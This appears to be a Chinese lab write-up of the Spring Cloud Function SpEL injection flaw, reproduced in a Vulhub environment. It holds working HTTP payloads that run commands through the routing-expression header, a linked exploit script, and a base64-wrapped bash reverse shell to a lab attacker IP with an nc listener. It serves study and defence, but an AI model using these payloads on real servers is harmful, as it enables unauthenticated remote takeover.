漏洞简介
在Spring Cloud Function 相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。
该漏洞是由RoutingFunction功能导致。在Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞
Spring Cloud Function 介绍
Spring Cloud Function 是基于Spring Boot 的函数计算框架 (FaaS,函数即服务,function as aservice),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑.
SpEL介绍
Spring Expression Language,简称SpEL,是Spring框架中的一种强大的表达式语言,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与Spring功能无缝集成。
SpEL语法支持strings, numeric values (int, real, hex), boolean, and null等基本类型,其中字符串需要用单引号包括,浮点数默认为 double 类型,用null表示null object。此外,SpEL还提供了在运行时查询和手动操作对象图的能力,这个特性让它变得非常强大。
漏洞影响版本
3.0.0 <= Spring Cloud Function <= 3.2.2
漏洞复现
实现环境
攻击机:kali 192.168.30.135
靶机:Ubuntu(Vulhub) 192.168.30.134
环境搭建
基于Vulhub靶场搭建
首先进入漏洞相关目录
docker-compose up -d
启动环境
出现以下界面则表示 环境启动成功
漏洞探测
首先使用dnslog进行漏洞验证
点击获取域名
之后使用burpsuite抓包
修改数据包请求方式和添加spring.cloud.function.routing-expression字段
POST /functionRouter HTTP/1.1
Host: xxx:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("要执行的命令")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
使用dnslog 不知为何无回显
使用漏洞探测脚本尝试
下载地址
https://github.com/mamba-2021/EXP-POC/tree/main/Spring-cloud-function-SpEL-RCE
其中poc文件为漏洞探测脚本 exp文件为漏洞利用脚本
将需要探测的网址 输出到一个文件中
echo '192.168.30.134:8080' > url.txt
poc文件用法:
python poc文件 url.txt
可能是环境出现问题 探测超时
之后采用官方文档 的poc代码
在docker容器下的tmp目录创建一个success文件
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
进入当前docker容器
docker-compose exec spring bash
成功创建文件 说明存在此漏洞
漏洞利用
1、使用exp脚本
脚本使用方法
python Spel_RCE_Bash_EXP.py url lhost lpost
#url为靶场地址
#lhost为反弹shell的地址
#lport为反弹shell的端口
在运行exp脚本之前 在攻击机中进行监听
nc -lvvp 8888 #监听8888端口
在exp文件运行时 也会进行检测
反弹shell成功
2、使用burp 进行反弹
反弹代码如下
bash -i >& /dev/tcp/192.168.30.135/9999 0>&1
需要对此代码进行base64编码处理
攻击机监听9999端口
、
将编码后的反弹语句
添加到burp数据包中
成功反弹